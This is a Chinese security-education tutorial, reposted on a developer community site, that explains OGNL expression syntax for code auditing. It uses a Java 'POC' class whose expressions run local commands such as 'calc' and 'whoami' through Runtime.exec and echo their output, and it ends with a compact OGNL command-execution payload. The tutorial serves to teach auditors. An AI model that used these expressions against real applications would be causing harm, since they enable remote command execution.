首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

【创宇小课堂】代码审计-三十行代码看懂OGNL表达式

通过String的四种写法认识OGNL

注意此处直接调用OGNL原生输入,所以不需要加$对表达式进行识别。

import ognl.Ognl;

import ognl.OgnlContext;

public class POC {

 public static void main(String[] args) throws Exception {

     // 创建一个OGNL上下文对象

     OgnlContext context = new OgnlContext();

     // getValue()触发

     // @[类全名(包括包路径)]@[方法名|值名]

     //Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot());

     String aaa="bbb";

     //String有四种写法你晓得吗?

     System.out.println(Ognl.getValue("new String('aaa')", context, context.getRoot()));

     System.out.println(Ognl.getValue("new java.lang.String('bbb')", context, context.getRoot()));

     System.out.println(Ognl.getValue("'ccc'.toString()", context, context.getRoot()));

     System.out.println(Ognl.getValue("#edg=new java.lang.String('edg'),#rng=new java.lang.String('rng')", context, context.getRoot()));

     //顺带一提,#符号还可以声明变量或者实例,可以说是十分变态了。

     System.out.println(Ognl.getValue("#hello=new java.lang.String('good'),#world=new java.lang.String('bye'),#hello+#world", context, context.getRoot()));

     //@可以调用静态方法或者变量

     System.out.println(Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot()));

     //手工实现,很显然我使用new的都是调用的实例方法,说明该方法不是static的。而Runtime类的方法是static属性的静态方法,所以大伙儿可以不用new嗷。

     System.out.println(((new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()))).readLine()).toString());

     //ognl表达式实现,@可以调用静态方法、静态成员变量。但实例方法只能new

     System.out.println(Ognl.getValue("(new java.io.BufferedReader(new java.io.InputStreamReader(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).readLine()", context, context.getRoot()));

     /*        java.lang.String(

             new java.io.BufferedReader(

                     new java.io.InputStreamReader(

                             @java.lang.Runtime@getRuntime().exec('whoami').getInputStream()

                     )

             ).readLine()

     )*/

     // setValue()触发

//        Ognl.setValue(Runtime.getRuntime().exec("calc"), context, context.getRoot());

 }

}

结果如下:

aaa

bbb

ccc

rng

goodbye

java.lang.ProcessImpl@300ffa5d

laptop-pg0d8gp9\admin

laptop-pg0d8gp9\admin

特殊符号的用法

@可以调用静态方法或者变量,比如runtime

JAVA代码转OGNL表达式的例子

将命令执行的代码改写

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

public class test {

 public static void test111() throws IOException {

     InputStream is = Runtime.getRuntime().exec("whoami").getInputStream();

     InputStreamReader isr = new InputStreamReader(is);

     BufferedReader buff = new BufferedReader (isr);

     String line;

     while((line = buff.readLine()) != null)

         System.out.print(line);

 }

}

改写成OGNL表达式的形式(PS:OGNL表达式实现循环比较麻烦,所以这里只能显示命令执行回显的第一行)

java.lang.String(

             new java.io.BufferedReader(

                     new java.io.InputStreamReader(

                             @java.lang.Runtime@getRuntime().exec('whoami').getInputStream()

                     )

             ).readLine()

 )

表达式合并后的结果

(newjava.io.BufferedReader(newjava.io.InputStreamReader(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).readLine()

所以还是Commons-io提供的现成方法好用,缺点是非JDK原生,需要依赖

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20211122A07KP400?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券